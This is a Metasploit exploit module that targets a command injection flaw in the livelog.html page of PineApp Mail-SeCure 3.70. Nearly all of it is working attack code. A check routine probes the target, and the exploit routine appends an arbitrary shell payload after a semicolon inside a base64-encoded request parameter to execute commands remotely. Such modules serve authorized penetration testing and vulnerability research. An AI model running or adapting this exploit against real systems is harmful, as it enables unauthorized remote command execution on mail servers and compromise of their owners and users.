PineApp Mail-SeCure livelog.html Arbitrary Command Execution

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'PineApp Mail-SeCure livelog.html Arbitrary Command Execution',
			'Description'    => %q{
					This module exploits a command injection vulnerability on PineApp Mail-SeCure
				3.70. The vulnerability exists on the livelog.html component, due to the insecure
				usage of the shell_exec() php function. This module has been tested successfully
				on PineApp Mail-SeCure 3.70.
			},
			'Author'         =>
				[
					'Unknown',     # Vulnerability discovery
					'juan vazquez' # Metasploit module
				],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-184/']
				],
			'Platform'       => ['unix'],
			'Arch'           => ARCH_CMD,
			'Privileged'     => false,
			'Payload'        =>
				{
					'Space'       => 1024,
					'DisableNops' => true,
					'Compat'      =>
						{
							'PayloadType' => 'cmd',
							'RequiredCmd' => 'generic perl python telnet'
						}
				},
			'Targets'        =>
				[
					[ 'PineApp Mail-SeCure 3.70', { }]
				],
			'DefaultOptions' =>
				{
					'SSL' => true
				},
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Jul 26 2013'
			))

		register_options(
			[
				Opt::RPORT(7443)
			],
			self.class
		)

	end

	def my_uri
		return normalize_uri("/livelog.html")
	end

	def check
		res = send_request_cgi({
			'uri' => my_uri,
			'vars_get' => {
				'cmd' =>'nslookup',
				'nstype' => Rex::Text.encode_base64("A"),
				'hostip' => Rex::Text.encode_base64("127.0.0.1"), # Using 127.0.0.1 in order to accelerate things with the legit command
				'nsserver' => Rex::Text.encode_base64("127.0.0.1")
			}
		})
		if res and res.code == 200 and res.body =~ /NS Query result for 127.0.0.1/
			return Exploit::CheckCode::Appears
		end
		return Exploit::CheckCode::Safe
	end

	def exploit
		print_status("#{rhost}:#{rport} - Executing payload...")
		send_request_cgi({
			'uri' => my_uri,
			'vars_get' => {
				'cmd' =>'nslookup',
				'nstype' => Rex::Text.encode_base64("A"),
				'hostip' => Rex::Text.encode_base64("127.0.0.1"), # Using 127.0.0.1 in order to accelerate things with the legit command
				'nsserver' => Rex::Text.encode_base64("127.0.0.1;#{payload.encoded}")
			}
		})
	end

end